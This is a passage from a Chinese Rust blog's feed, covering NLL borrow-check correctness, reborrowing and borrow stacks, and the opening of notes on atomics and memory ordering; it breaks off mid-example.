&lt;p&gt;首先，根据上一节的讨论我们需要&lt;code&gt;&#x27;b : &#x27;r&lt;&#x2F;code&gt;，保证对&lt;code&gt;c&lt;&#x2F;code&gt;的访问不与loan&lt;code&gt;&amp;amp;&#x27;r **a&lt;&#x2F;code&gt;或&lt;code&gt;&amp;amp;&#x27;r mut**a&lt;&#x2F;code&gt;冲突。此外，我们还需要保证不能通过&lt;code&gt;b&lt;&#x2F;code&gt;产生对&lt;code&gt;**a&lt;&#x2F;code&gt;的与loan冲突的访问，这就要求&lt;code&gt;&#x27;a : &#x27;r&lt;&#x2F;code&gt;，从而在loan的lifetime内我们无法访问&lt;code&gt;b&lt;&#x2F;code&gt;从而也就无法通过&lt;code&gt;b&lt;&#x2F;code&gt;访问&lt;code&gt;**a&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;实际上，假如约束3不引入&lt;code&gt;&#x27;a : &#x27;r&lt;&#x2F;code&gt;这个约束条件，即&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;可能小于&lt;code&gt;&#x27;r&lt;&#x2F;code&gt;，则我们可以通过&lt;code&gt;*b = d&lt;&#x2F;code&gt;修改&lt;code&gt;**a&lt;&#x2F;code&gt;的值，从而违反borrow规则。例如在下列代码中，因为borrow checker无从了解&lt;code&gt;*b = 2&lt;&#x2F;code&gt;与&lt;code&gt;&amp;amp;mut **a&lt;&#x2F;code&gt;冲突，必须引入约束3才能保证&lt;code&gt;*b = 2&lt;&#x2F;code&gt;被borrow checker拒绝。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let mut c = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let mut b = &amp;amp;mut c;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let d;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;{&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   let a = &amp;amp;mut b;     &#x2F;&#x2F; --+ lifetime of&lt;&#x2F;code&gt;a&lt;code&gt;and&lt;&#x2F;code&gt;&amp;amp;mut b```    d = &amp;amp;mut **a;       &#x2F;&#x2F;   |&lt;code&gt;}                       &#x2F;&#x2F;   |&lt;&#x2F;code&gt;*b = 2;                 &#x2F;&#x2F;   | ERROR! conflict with &lt;code&gt;&amp;amp;mut b``&lt;&#x2F;code&gt;println!(&quot;{}&quot;, d);      &#x2F;&#x2F;   |&#x2F;&#x2F; &amp;lt;-------------------------+`&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;第二种情况，&lt;code&gt;a = &amp;amp;&#x27;a b&lt;&#x2F;code&gt;，&lt;code&gt;b = &amp;amp;&#x27;b mut c&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt; a&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; ↓ &amp;amp;&#x27;a&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;*a&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; ↓ &amp;amp;&#x27;b mut&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;**a     &amp;lt;-- &amp;amp;&#x27;r**a&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;此时合法的loan只有&lt;code&gt;&amp;amp;&#x27;r **a&lt;&#x2F;code&gt;，若要求&lt;code&gt;&#x27;a : &#x27;r&lt;&#x2F;code&gt;，则我们只能够通过&lt;code&gt;b&lt;&#x2F;code&gt;对&lt;code&gt;**a&lt;&#x2F;code&gt;进行读取，不会和loan冲突。若不要求&lt;code&gt;&#x27;a : &#x27;r&lt;&#x2F;code&gt;，则有可能通过&lt;code&gt;b&lt;&#x2F;code&gt;对&lt;code&gt;**a&lt;&#x2F;code&gt;进行写入，这是违反borrow规则的。这说明约束3保证了这种情况下borrow check的正确性。&lt;&#x2F;p&gt;
&lt;p&gt;第三种情况，&lt;code&gt;a = &amp;amp;&#x27;a b&lt;&#x2F;code&gt;或&lt;code&gt;a = &amp;amp;&#x27;a mut b&lt;&#x2F;code&gt;，&lt;code&gt;b = &amp;amp;&#x27;b c&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt; a&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; ↓ &amp;amp;&#x27;a &#x2F; &amp;amp;&#x27;a mut&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;*a&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; ↓ &amp;amp;&#x27;b&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;**a     &amp;lt;-- &amp;amp;&#x27;r**a&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;此时合法的loan只有&lt;code&gt;&amp;amp;&#x27;r **a&lt;&#x2F;code&gt;，而通过&lt;code&gt;b&lt;&#x2F;code&gt;只能读取&lt;code&gt;**a&lt;&#x2F;code&gt;，不会违反borrow规则，因此不需要要求&lt;code&gt;&#x27;a : &#x27;r&lt;&#x2F;code&gt;，实际上约束3也没有要求&lt;code&gt;&#x27;a : &#x27;r&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;综上所述，可以看出约束3中只考虑&lt;code&gt;path&lt;&#x2F;code&gt;的supporting prefix，对每个形如&lt;code&gt;*p&lt;&#x2F;code&gt;的supporting prefix要求&lt;code&gt;p&lt;&#x2F;code&gt;的lifetime大于&lt;code&gt;&#x27;r&lt;&#x2F;code&gt;，恰好可以保证borrow check算法在loan的&lt;code&gt;path&lt;&#x2F;code&gt;中含有dereference时的正确性，而又没有引入不必要的约束条件。至此，我们就完整地说明了borrow check算法的正确性，整个lifetime和borrow check系统的设计还是比较巧妙的，只看&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rust-lang.github.io&#x2F;rfcs&#x2F;2094-nll.html&quot;&gt;RFC 2094&lt;&#x2F;a&gt;的文本很难完整地把握其中的细节。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>rust Reborrow and Borrow</title>
        <published>2024-05-13T00:00:00+00:00</published>
        <updated>2024-05-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/rust-reborrow-and-borrow/"/>
        <id>https://vercel.juzhong.asia/obsidian/rust-reborrow-and-borrow/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/rust-reborrow-and-borrow/">&lt;h1 id=&quot;rust-reborrow-and-borrow&quot;&gt;rust Reborrow and Borrow&lt;&#x2F;h1&gt;
&lt;p&gt;考虑函数调用&lt;code&gt;f(x)&lt;&#x2F;code&gt;，其中&lt;code&gt;f: fn (&amp;amp;mut i32) -&amp;gt; i32&lt;&#x2F;code&gt;, &lt;code&gt;x: &amp;amp;mut i32&lt;&#x2F;code&gt;，按照通常的逻辑，&lt;code&gt;x&lt;&#x2F;code&gt;将会被move到&lt;code&gt;f&lt;&#x2F;code&gt;的作用域中，最后在&lt;code&gt;f&lt;&#x2F;code&gt;返回时被丢弃，这样一来将无法第二次调用&lt;code&gt;f(x)&lt;&#x2F;code&gt;。然而实际上，可以无限次调用&lt;code&gt;f(x)&lt;&#x2F;code&gt;，而仍保持&lt;code&gt;x&lt;&#x2F;code&gt;有效。&lt;&#x2F;p&gt;
&lt;p&gt;这是由于编译器会自动将&lt;code&gt;f(x)&lt;&#x2F;code&gt;转变为&lt;code&gt;f(&amp;amp;mut *x)&lt;&#x2F;code&gt;，而&lt;code&gt;&amp;amp;mut *x&lt;&#x2F;code&gt;是所谓的reborrow操作，将会对mutable reference&lt;code&gt;x&lt;&#x2F;code&gt;再次borrow，获得一个新的mutable reference，而原本的&lt;code&gt;x&lt;&#x2F;code&gt;暂时被shadow，处于inactive状态，直到&lt;code&gt;f&lt;&#x2F;code&gt;返回时，新的mutable reference被销毁，&lt;code&gt;x&lt;&#x2F;code&gt;重新回到active状态。&lt;&#x2F;p&gt;
&lt;p&gt;对于generic函数，则不一定会进行reborrow操作，设&lt;code&gt;v: &amp;amp;mut i32&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;fn f&amp;lt;T&amp;gt;(x: &amp;amp;mut T)&lt;&#x2F;code&gt;: &lt;code&gt;f(v)&lt;&#x2F;code&gt;会自动reborrow，变成&lt;code&gt;f(&amp;amp;mut *v)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;fn f&amp;lt;T&amp;gt;(x: T)&lt;&#x2F;code&gt;: &lt;code&gt;f(v)&lt;&#x2F;code&gt;不会自动reborrow，&lt;code&gt;v&lt;&#x2F;code&gt;会被move到&lt;code&gt;f&lt;&#x2F;code&gt;中&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;fn f&amp;lt;T&amp;gt;(x: T, y: T)&lt;&#x2F;code&gt;: 对于&lt;code&gt;f(v1, v2)&lt;&#x2F;code&gt;，只有&lt;code&gt;v1&lt;&#x2F;code&gt;会被move到&lt;code&gt;f&lt;&#x2F;code&gt;中，&lt;code&gt;v2&lt;&#x2F;code&gt;会被自动reborrow，即最后变成&lt;code&gt;f(v1, &amp;amp;mut *v2)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所谓的reborrow实际上本质上仍是borrow，也就是说Rust并没有对&lt;code&gt;&amp;amp;*x&lt;&#x2F;code&gt;或&lt;code&gt;&amp;amp;mut *x&lt;&#x2F;code&gt;引入特殊的语义。试考虑&lt;code&gt;&amp;amp;mut *x&lt;&#x2F;code&gt;，它可以理解为先获得了lvalue&lt;code&gt;*x&lt;&#x2F;code&gt;，然后对这个lvalue进行了borrow。之所以称其为reborrow，是因为该lvalue所在的place实际上已经被&lt;code&gt;x&lt;&#x2F;code&gt;borrow过了，我们又「重新borrow」了一次，reborrow的特殊之处就在于Rust允许我们borrow一个已经被borrow过的lvalue。&lt;&#x2F;p&gt;
&lt;p&gt;更进一步，形如&lt;code&gt;&amp;amp;(*ref).x&lt;&#x2F;code&gt;的borrow也是允许的，也可以视为一种reborrow，即我们可以单独reborrow一个已经被borrow过的lvalue的一部分。&lt;&#x2F;p&gt;
&lt;p&gt;实际上reborrow的行为也是有其适用范围的：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;被shared borrow的lvalue，不能被reborrow为mutable reference，只能被reborrow为shared reference&lt;&#x2F;li&gt;
&lt;li&gt;被unique immutable borrow的lvalue，不能被reborrow为mutable reference，但能被reborrow为shared reference&lt;&#x2F;li&gt;
&lt;li&gt;被mutable borrow的lvalue，可以被reborrow为shared reference或mutable reference&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;需要注意的是，当我们使用&lt;code&gt;&amp;amp;mut *x&lt;&#x2F;code&gt;reborrow了&lt;code&gt;x&lt;&#x2F;code&gt;后，我们就将无法使用&lt;code&gt;x&lt;&#x2F;code&gt;，直到该reborrow expire为止，例如下列代码就是错误的：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let a = &amp;amp;mut 3;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let b = &amp;amp;mut *a;    &#x2F;&#x2F; &lt;&#x2F;code&gt;a&lt;code&gt; is reborrowed&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;*a = 4;             &#x2F;&#x2F; &lt;&#x2F;code&gt;a&lt;code&gt; is shadowed, ERROR&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;*b = 5;             &#x2F;&#x2F; reborrow expired&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;应该说，引入reborrow后，每个memory location都会有一个borrow stack。将borrow stack定义在memory location上而不是place上，是因为memory location没有进一步的结构，可以简化讨论，而place可以有子place，其不同的子place可以被分别reborrow，于是构不成一个stack。&lt;&#x2F;p&gt;
&lt;p&gt;borrow stack的规则很简单：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对最初的变量的borrow，位于栈底&lt;&#x2F;li&gt;
&lt;li&gt;此后的每次reborrow，都会将该reborrow放入栈顶&lt;&#x2F;li&gt;
&lt;li&gt;reborrow得到的mutable reference，会将栈中更早的mutable reference屏蔽，使其不能被访问或reborrow&lt;&#x2F;li&gt;
&lt;li&gt;reborrow得到的shared reference，会使栈中更早的mutable reference退化为shared reference，即只能被读取或被reborrow为shared reference&lt;&#x2F;li&gt;
&lt;li&gt;栈顶的reborrow一旦expire，其引起的屏蔽效果即会解除&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这里忽略了具有interior mutability的shared reference以及raw pointer，真正用于定义Rust语义的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;unsafe-code-guidelines&#x2F;blob&#x2F;master&#x2F;wip&#x2F;stacked-borrows.md&quot;&gt;borrow stack&lt;&#x2F;a&gt;模型要复杂得多，因为需要考虑unsafe特性与mutable&#x2F;shared reference的语义的交互。&lt;&#x2F;p&gt;
&lt;p&gt;注意有时实际上可能发生reborrow产生的新reference尚且存活，旧的reference却已经被销毁的情况：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;例如&lt;code&gt;let new; { let old = &amp;amp;mut x; new = &amp;amp;*old; }; use(new);&lt;&#x2F;code&gt;，即新reference的作用域比旧reference更大&lt;&#x2F;li&gt;
&lt;li&gt;又如&lt;code&gt;let mut parent = &amp;amp;mut p; let child = &amp;amp;parent.x; let parent = &amp;amp;mut q;&lt;&#x2F;code&gt;，即旧reference被覆盖，从而不可达&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此时我们并不会立即将旧的reference从borrow stack中移除，而是会等待栈顶的reborrow先expire，再将旧的borrow移除。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>线程安全、原子变量、内存顺序</title>
        <published>2024-05-06T00:00:00+00:00</published>
        <updated>2024-05-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/线程安全、原子变量、内存顺序/"/>
        <id>https://vercel.juzhong.asia/obsidian/线程安全、原子变量、内存顺序/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/线程安全、原子变量、内存顺序/">&lt;h1 id=&quot;xian-cheng-an-quan-yuan-zi-bian-liang-nei-cun-shun-xu&quot;&gt;线程安全、原子变量、内存顺序&lt;&#x2F;h1&gt;
&lt;p&gt;本文是阅读 &lt;em&gt;Rust Atomics and Locks&lt;&#x2F;em&gt; 这本书的笔记。这本书是我看过讲原子变量最浅显易懂的资料了。&lt;&#x2F;p&gt;
&lt;p&gt;原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;marabos.nl&#x2F;atomics&quot;&gt;Rust Atomics and Locks&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;本来想简单写的，但发现写着写着就抄得差不多了，只能说忽略了很多内容和细节。&lt;&#x2F;p&gt;
&lt;p&gt;如果有什么理解错误，请大家多多包涵并指出~&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xian-cheng-an-quan&quot;&gt;线程安全&lt;&#x2F;h2&gt;
&lt;p&gt;为了高性能，我们几乎无法避免编写多线程的程序。而多线程的环境相比于单线程来说，有更多更复杂的限制和要求，其中最重要的便是&lt;strong&gt;线程安全&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;线程安全是一个开放性的概念，&lt;strong&gt;如果一个程序能满足与多线程相关的各种要求，那么这个程序便是线程安全的&lt;&#x2F;strong&gt;，这时候的程序不会出现预期外的行为。而这里有哪些“要求”在不同语言、不同平台、不同接口各有不同，无法用有限的规则来描述。&lt;&#x2F;p&gt;
&lt;p&gt;Rust将线程安全的要求大致分成了两类&lt;code&gt;Send&lt;&#x2F;code&gt;和&lt;code&gt;Sync&lt;&#x2F;code&gt;，只有满足这两类要求的API，才能在多线程的环境下安全的调用（以外的就只能在&lt;code&gt;unsafe&lt;&#x2F;code&gt;下调用）。Swift则只有&lt;code&gt;Sendable&lt;&#x2F;code&gt;这一选项，不过存在感很低。而cpp没有任何任何静态检查保证线程安全。&lt;&#x2F;p&gt;
&lt;p&gt;线程安全比较常见的要求有：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;有些系统API要求在同一个线程内调用。比如&lt;code&gt;pthread_mutex_lock&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;pthread_mutex_unlock&lt;&#x2F;code&gt;要求在同一线程内调用，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;pubs.opengroup.org&#x2F;onlinepubs&#x2F;009695399&#x2F;functions&#x2F;pthread_mutex_lock.html&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;pubs.opengroup.org&#x2F;onlinepubs&#x2F;009695399&#x2F;functions&#x2F;pthread_mutex_lock.html&quot;&gt;pubs.opengroup.org&#x2F;onli&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;pubs.opengroup.org&#x2F;onlinepubs&#x2F;009695399&#x2F;functions&#x2F;pthread_mutex_lock.html&quot;&gt;nepubs&#x2F;009695399&#x2F;functions&#x2F;pthread_mutex_lock.html&lt;&#x2F;a&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;多线程内存读写，一般要求不能出现&lt;strong&gt;数据竞争&lt;&#x2F;strong&gt;。也就是不允许（非原子操作）对同一内存的并发读和写，或者同时写。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;其中数据竞争，是在多线程编程中最普遍的问题。我们可以通过&lt;strong&gt;线程同步&lt;&#x2F;strong&gt;来避免数据竞争。线程同步就是一些协议或者说是一些措施，来保证多线程下语句之间的顺序关系，&lt;strong&gt;最终可以证明一片内存不会被并发读写&lt;&#x2F;strong&gt;。一般来说，线程同步的方式有这些：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;各种各样的线程同步原语（系统提供或者用户自己实现）：锁、信号量、条件变量、屏障（barrier）等&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;原子变量&lt;&#x2F;strong&gt;操作的内存顺序（memory order）（需要特定硬件和平台支持）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;其中线程同步原语一般是靠线程的休眠和唤醒，使某些代码会在达成某个条件后才执行。线程的休眠和唤醒会产生一定的开销，在一些高频或高并发但比较轻量的场景下，这些开销会被放大，这时候可以考虑是否可以使用原子变量来实现些非阻塞性(lock-free)的算法，或者自己实现一些更细粒度的并发控制结构以减少线程休眠唤醒的次数。&lt;&#x2F;p&gt;
&lt;p&gt;原子变量的操作是原子性的，本身允许并发读写，就一些简单的场景（例如原子计数）甚至不需要进行线程同步。同时原子变量还具有非阻塞性，不会产生线程休眠唤醒的开销。在一些可以无锁或者比较“乐观”的并发场景，可以使用原子变量来实现，比如说一些无锁队列，相对于有锁的队列来说可以带来更多的性能提升。&lt;&#x2F;p&gt;
&lt;p&gt;一般的线程同步原语都比较好理解，而原子变量的内存顺序却相对来说比较生涩难懂，本文打算展开一下后者，帮助大家理解。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;对数据竞争这一概念的补充。
&lt;strong&gt;数据竞争是一种程序的非法状态&lt;&#x2F;strong&gt;。绝大多数程序语言都不会定义程序并发读写&#x2F;写写同一内存的行为（原子变量例外），也就是所谓未定义行为。
当（抽象地，利用语言定义的规则像算术那样计算）解释的代码并发读写同一内存时，就会陷入“数据竞争”的状态，接下来的解释将没有任何意义（就好像计算过程中产生了一个1&#x2F;0一样）。当然其编译器也就不会保证程序数据竞争时会有任何预期而当行为（比如引爆核弹）。
至于为何绝大多数语言都有这条规定，主要还是现代OS和机器机制太复杂了（多核、指令重排、缓存等等），本身就很难描述并发时计算机的状态，而且各家还有各家的玩法，还要考虑到高级程序语言中一句简单的语句就会编译成复杂的汇编指令，复杂度更是暴增。于是大家就索性不规定程序并发读写&#x2F;写写同一内存的行为（除非头铁，规定所有操作必须加锁），由程序员自己去避免。
那么这里请问大家，这段代码会发生数据竞争吗？&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;static mut A: i32 = 0;
fn thread_a() {
      unsafe { A += 1; }
}

fn thread_b() {
      sleep(Duration::from_secs(10));
      println!(&amp;quot;{A}&amp;quot;);
}

fn main() {
      thread::spawn(thread_a);
      thread::spawn(thread_b);
      thread::park();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yuan-zi-bian-liang&quot;&gt;&lt;strong&gt;原子变量&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;本文主要想介绍的便是原子变量、原子操作，以及原子操作的几种内存顺序。（本文基于的原子变量模型，是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=http%3A&#x2F;&#x2F;zh.cppreference.com&#x2F;w&#x2F;cpp&#x2F;atomic&quot;&gt;c++20原子变量&lt;&#x2F;a&gt;模型，而例子使用Rust语言）。&lt;&#x2F;p&gt;
&lt;p&gt;原子变量，它首先是一类可以提供原子性操作的对象（于是允许并发读写），同时也是&lt;strong&gt;与其他线程同步原语一样也是一种用来描述多线程下操作顺序关系的模型。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：这只是一种抽象的内存模型，并不直接映射到实际的内存与实际的指令中，也不考虑各种编译优化。是一种最低限度但明确的假设；反过来也可以要求编译器、OS、硬件满足这个假设。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;原子变量的模型，由三部分组成：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;原子类型&lt;&#x2F;strong&gt;：&lt;code&gt;AtomicU8&lt;&#x2F;code&gt;, &lt;code&gt;AtomicBool&lt;&#x2F;code&gt;, &lt;code&gt;AtomicI32&lt;&#x2F;code&gt;, &lt;code&gt;AtomicPtr&lt;&#x2F;code&gt;，等等。不同的平台（硬件+OS）决定着哪些原子类型是可用的，一般来说，最大的原子类型为指针大小的原子类型。
&lt;strong&gt;原子操作：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;最简单的&lt;strong&gt;加载&lt;&#x2F;strong&gt;和&lt;strong&gt;存储:&lt;&#x2F;strong&gt;&lt;code&gt;load&lt;&#x2F;code&gt;,&lt;code&gt;store&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;稍复杂的&lt;strong&gt;获取修改(fetch-and-modify):&lt;&#x2F;strong&gt;&lt;code&gt;fetch_add&lt;&#x2F;code&gt;, &lt;code&gt;fetch_or&lt;&#x2F;code&gt;等等，&lt;&#x2F;li&gt;
&lt;li&gt;最灵活和复杂的是&lt;strong&gt;比较交换：&lt;&#x2F;strong&gt;&lt;code&gt;compare_exchange&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;内存顺序：用于建立线程间原子操作的发生顺序&lt;&#x2F;strong&gt;。比如&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Relaxed&lt;&#x2F;code&gt;几乎没有任何顺序保证，几乎只有原子性。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;SeqCst&lt;&#x2F;code&gt;则有最强的保证。所有&lt;code&gt;SeqCst&lt;&#x2F;code&gt;的原子操作之间有一个全局唯一的&lt;em&gt;全序关系&lt;&#x2F;em&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;每个原子操作都会有至少一个内存顺序的参数。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yuan-zi-cao-zuo&quot;&gt;原子操作&lt;&#x2F;h2&gt;
&lt;p&gt;这一节介绍几种原子操作，我们先忽略掉内存序这个参数（全部使用最简单的&lt;code&gt;Relaxed&lt;&#x2F;code&gt;内存序），仅看原子操作的行为。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jia-zai-he-cun-chu&quot;&gt;加载和存储&lt;&#x2F;h3&gt;
&lt;p&gt;加载(&lt;code&gt;load&lt;&#x2F;code&gt;)和存储(&lt;code&gt;store&lt;&#x2F;code&gt;)是最基础的的两个原子操作。&lt;code&gt;load&lt;&#x2F;code&gt;是原子地获取原子变量的变量的值，&lt;code&gt;store&lt;&#x2F;code&gt;是原子地修改原子变量的值。这两个操作的函数签名是：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;impl AtomicI32 {
    pub fn load(&amp;amp;self, ordering: Ordering) -&amp;gt; i32;
    pub fn store(&amp;amp;self, value: i32, ordering: Ordering);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中&lt;code&gt;ordering&lt;&#x2F;code&gt;便是内存顺序的参数，在后文展开。&lt;&#x2F;p&gt;
&lt;p&gt;例子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    let atomic = AtomicI32::new(0);

